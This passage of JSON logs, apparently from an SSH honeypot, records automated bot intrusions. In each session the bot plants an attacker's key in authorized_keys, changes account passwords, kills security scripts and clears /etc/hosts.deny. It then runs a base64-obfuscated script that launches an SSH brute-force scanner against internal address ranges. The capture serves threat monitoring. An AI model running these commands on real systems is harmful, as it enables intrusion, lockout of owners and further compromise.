WHAT"},{"seq":17,"at":"2026-08-24T00:58:58.232695+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-24T00:58:58.234125+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-24T00:58:58.517268+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-24T00:58:58.519129+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-24T00:58:59.215923+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-24T00:58:59.217455+00:00","kind":"output","latency_ms":null,"data":"top - 00:58:59 up 3 days, 21:49, 0 user, load average: 0.07, 0.06, 0.06\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-24T00:58:59.500337+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-24T00:58:59.502055+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-24T00:58:59.781679+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-24T00:58:59.783195+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-24T00:59:00.065879+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-24T00:59:00.067435+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-24T00:59:00.349252+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-24T00:59:01.105052+00:00","kind":"output","latency_ms":756,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-24T00:59:01.389227+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-24T00:59:01.997526+00:00","kind":"output","latency_ms":609,"data":"24G"},{"seq":33,"at":"2026-08-24T00:59:03.379406+00:00","kind":"input","latency_ms":null,"data":"echo \"root 1qazxsW@\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-24T00:59:03.658433+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-24T00:59:04.087528+00:00","kind":"output","latency_ms":427,"data":""},{"seq":36,"at":"2026-08-24T00:59:04.700746+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-24T00:59:05.420444+00:00","kind":"output","latency_ms":719,"data":"root 1qazxsW@"},{"seq":38,"at":"2026-08-24T00:59:05.705927+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-24T00:59:06.154931+00:00","kind":"output","latency_ms":450,"data":"root 1qazxsW@"},{"seq":40,"at":"2026-08-24T00:59:06.441889+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-24T00:59:06.729967+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T00:59:07.338444+00:00","kind":"output","latency_ms":607,"data":"root 1qazxsW@"},{"seq":43,"at":"2026-08-24T00:59:07.627010+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-24T00:59:08.082167+00:00","kind":"output","latency_ms":459,"data":"root 1qazxsW@"},{"seq":45,"at":"2026-08-24T00:59:08.467143+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-24T00:59:09.106293+00:00","kind":"output","latency_ms":637,"data":""},{"seq":47,"at":"2026-08-24T00:59:17.190908+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T00:59:17.193707+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"1qazxsW@","method":"password","accepted":true,"tier":"other"}]} {"id":"ab1b937d-a056-4f39-9c0c-f216b9b615b6","name":"nameless-murky-dormouse","protocol":"ssh","channel_kind":"exec","src_ip":"163.7.3.26","src_port":58822,"username":"root","client_version":"SSH-2.0-libssh_0.12.0","auth_attempts":1,"automation":"bot","think_ms":763,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T21:19:15.453482+00:00","ended_at":"2026-08-23T21:19:15.691786+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3571,"events":[{"seq":1,"at":"2026-08-23T21:18:25.900096+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T21:18:26.673575+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T21:18:37.581072+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T21:18:37.584092+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T21:18:38.343456+00:00","kind":"input","latency_ms":null,"data":"echo \"root:iVehNGLDdW88\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T21:18:39.058134+00:00","kind":"output","latency_ms":715,"data":""},{"seq":7,"at":"2026-08-23T21:18:39.103217+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-23T21:18:39.865305+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-23T21:18:39.868331+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-23T21:18:40.632141+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-23T21:18:41.161701+00:00","kind":"output","latency_ms":535,"data":"15888 3436 12452 203 1368 10976"},{"seq":12,"at":"2026-08-23T21:18:41.929605+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-23T21:18:42.603239+00:00","kind":"output","latency_ms":674,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:10 /usr/bin/ls"},{"seq":14,"at":"2026-08-23T21:18:43.374232+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T21:18:43.378895+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T21:18:44.132241+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-23T21:18:44.136099+00:00","kind":"output","latency_ms":null,"data":" 21:18:44 up 3 days, 18:08, 0 user, load average: 0.19, 0.16, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-23T21:18:44.897414+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-23T21:18:44.900465+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-23T21:18:45.664902+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-23T21:18:45.676747+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-23T21:18:46.424113+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-23T21:18:46.429084+00:00","kind":"output","latency_ms":null,"data":"top - 21:18:46 up 3 days, 18:08, 0 user, load average: 0.19, 0.16, 0.2\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-23T21:18:47.182202+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-23T21:18:47.186320+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-23T21:18:47.948667+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-23T21:18:47.956420+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-23T21:18:48.705566+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-23T21:18:48.707530+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-23T21:18:49.469742+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-23T21:18:50.227392+00:00","kind":"output","latency_ms":757,"data":"Model name: AMD EPYC 7713 64-Core Processor\n\u09ae\u09a1\u09c7\u09b2 \u09a8\u09be\u09ae: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-23T21:18:50.990355+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-23T21:18:51.587118+00:00","kind":"output","latency_ms":596,"data":"24G"},{"seq":34,"at":"2026-08-23T21:18:57.014938+00:00","kind":"input","latency_ms":null,"data":"echo \"root Root123456!\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-23T21:18:57.776670+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-23T21:18:58.440561+00:00","kind":"output","latency_ms":662,"data":""},{"seq":37,"at":"2026-08-23T21:19:00.461787+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-23T21:19:00.941455+00:00","kind":"output","latency_ms":480,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-23T21:19:01.710595+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-23T21:19:02.491347+00:00","kind":"output","latency_ms":784,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-23T21:19:03.277038+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T21:19:04.040439+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T21:19:04.517353+00:00","kind":"output","latency_ms":478,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-23T21:19:05.281630+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-23T21:19:05.872521+00:00","kind":"output","latency_ms":591,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-23T21:19:06.635639+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-23T21:19:07.110795+00:00","kind":"output","latency_ms":475,"data":""},{"seq":48,"at":"2026-08-23T21:19:15.456695+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-23T21:19:15.457865+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Root123456!","method":"password","accepted":true,"tier":"other"}]} {"id":"ca7cba1b-8799-4b4f-89e4-bcc854927458","name":"brazen-creaky-shelduck","protocol":"ssh","channel_kind":"exec","src_ip":"92.205.57.72","src_port":58506,"username":"ydy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":326,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T20:59:27.183189+00:00","ended_at":"2026-08-23T20:59:27.276499+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3598,"events":[{"seq":1,"at":"2026-08-23T20:59:01.119075+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T20:59:01.443071+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T20:59:05.541572+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T20:59:05.545082+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T20:59:05.870052+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ydy\\nBFcGpitbwUQo\\nBFcGpitbwUQo\"|passwd|bash"},{"seq":6,"at":"2026-08-23T20:59:06.195083+00:00","kind":"input","latency_ms":null,"data":"echo \"ydy\\nBFcGpitbwUQo\\nBFcGpitbwUQo\\n\"|passwd"},{"seq":7,"at":"2026-08-23T20:59:06.524156+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T20:59:06.526476+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T20:59:06.848647+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T20:59:07.439678+00:00","kind":"output","latency_ms":592,"data":" total used free shared buff/cache available\nMem: 15888 2144 9821 18 3922 13222"},{"seq":11,"at":"2026-08-23T20:59:07.766388+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T20:59:08.309259+00:00","kind":"output","latency_ms":543,"data":"-rwxr-xr-x 1 root root 14K Apr 11 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T20:59:08.639327+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T20:59:08.643059+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T20:59:08.964072+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T20:59:08.966244+00:00","kind":"output","latency_ms":null,"data":" 20:59:08 up 3 days, 17:49, 0 user, load average: 0.31, 0.26, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T20:59:09.291060+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T20:59:09.292320+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T20:59:09.617180+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T20:59:09.619252+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T20:59:09.948083+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T20:59:09.950433+00:00","kind":"output","latency_ms":null,"data":"top - 20:59:09 up 3 days, 17:49, 0 user, load average: 0.31, 0.26, 0.22\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T20:59:10.272309+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T20:59:10.274055+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T20:59:10.598702+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T20:59:10.602276+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T20:59:10.926895+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T20:59:10.929250+00:00","kind":"output","latency_ms":null,"data":"ydy"},{"seq":29,"at":"2026-08-23T20:59:11.254354+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T20:59:11.767441+00:00","kind":"output","latency_ms":513,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-23T20:59:12.096147+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T20:59:12.555917+00:00","kind":"output","latency_ms":459,"data":"24G"},{"seq":33,"at":"2026-08-23T20:59:13.626583+00:00","kind":"input","latency_ms":null,"data":"echo \"ydy ydy\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T20:59:13.958216+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T20:59:14.398108+00:00","kind":"output","latency_ms":446,"data":""},{"seq":36,"at":"2026-08-23T20:59:15.078603+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T20:59:15.568532+00:00","kind":"output","latency_ms":490,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-23T20:59:15.896211+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T20:59:16.676886+00:00","kind":"output","latency_ms":780,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T20:59:17.005077+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T20:59:17.329076+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T20:59:17.782102+00:00","kind":"output","latency_ms":452,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-23T20:59:18.109080+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T20:59:18.607541+00:00","kind":"output","latency_ms":498,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T20:59:18.933896+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T20:59:19.363558+00:00","kind":"output","latency_ms":429,"data":""},{"seq":47,"at":"2026-08-23T20:59:27.186102+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T20:59:27.187526+00:00","kind":"output","latency_ms":null,"data":"ydy"}],"credentials":[{"username":"ydy","password":"ydy","method":"password","accepted":true,"tier":"other"}]} {"id":"4f9ee073-1488-4111-9cbb-38e0d5efc383","name":"gentle-vigilant-bowerbird","protocol":"ssh","channel_kind":"exec","src_ip":"135.125.206.205","src_port":39924,"username":"m1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":306,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T20:57:33.351409+00:00","ended_at":"2026-08-23T20:57:33.437313+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4163,"events":[{"seq":1,"at":"2026-08-23T20:57:03.960094+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T20:57:04.265839+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T20:57:08.948208+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T20:57:08.949087+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T20:57:09.265081+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nvaVL7OYahe59\\nvaVL7OYahe59\"|passwd|bash"},{"seq":6,"at":"2026-08-23T20:57:09.567788+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nvaVL7OYahe59\\nvaVL7OYahe59\\n\"|passwd"},{"seq":7,"at":"2026-08-23T20:57:09.875127+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T20:57:09.877638+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core 